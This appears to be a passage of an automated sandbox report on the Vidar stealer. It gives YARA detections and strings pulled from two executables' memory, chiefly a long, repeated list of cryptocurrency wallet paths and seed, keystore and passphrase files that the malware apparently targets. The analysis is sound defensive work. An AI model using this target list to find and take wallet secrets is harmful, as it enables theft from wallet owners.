Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: 2bbe886987.exe PID: 7888, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: 06339d0580.exe	String found in binary or memory: %appdata%\Electrum-LTC\wallets
Source: 06339d0580.exe	String found in binary or memory: Wallets/ElectronCash
Source: 2bbe886987.exe, 00000011.00000002.3372681465.0000000001490000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 06339d0580.exe, 00000010.00000003.2880163907.0000000000C35000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Jaxx Liberty
Source: 06339d0580.exe, 00000010.00000003.2880163907.0000000000C35000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: n",".finger-print.fp","simple-storage.json","window-state.json"],"z":"Wallets/Binance","F
Source: 2bbe886987.exe, 00000011.00000002.3372681465.0000000001490000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 06339d0580.exe	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: 2bbe886987.exe, 00000011.00000002.3372681465.0000000001518000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: eut\\info.seco
Source: 2bbe886987.exe, 00000011.00000002.3372681465.0000000001490000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 2bbe886987.exe, 00000011.00000002.3372681465.0000000001490000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 2bbe886987.exe, 00000011.00000002.3372681465.0000000001490000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 2bbe886987.exe, 00000011.00000002.3372681465.0000000001490000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 06339d0580.exe	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: 06339d0580.exe	String found in binary or memory: %appdata%\Ethereum
Source: 2bbe886987.exe, 00000011.00000002.3372681465.0000000001490000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 06339d0580.exe, 00000010.00000003.2880163907.0000000000C35000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: 2bbe886987.exe, 00000011.00000002.3372681465.0000000001490000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 2bbe886987.exe, 00000011.00000002.3372681465.0000000001490000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 2bbe886987.exe, 00000011.00000002.3372681465.0000000001490000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 06339d0580.exe, 00000010.00000003.2880163907.0000000000C35000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore
Source: 2bbe886987.exe, 00000011.00000002.3372681465.0000000001490000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron 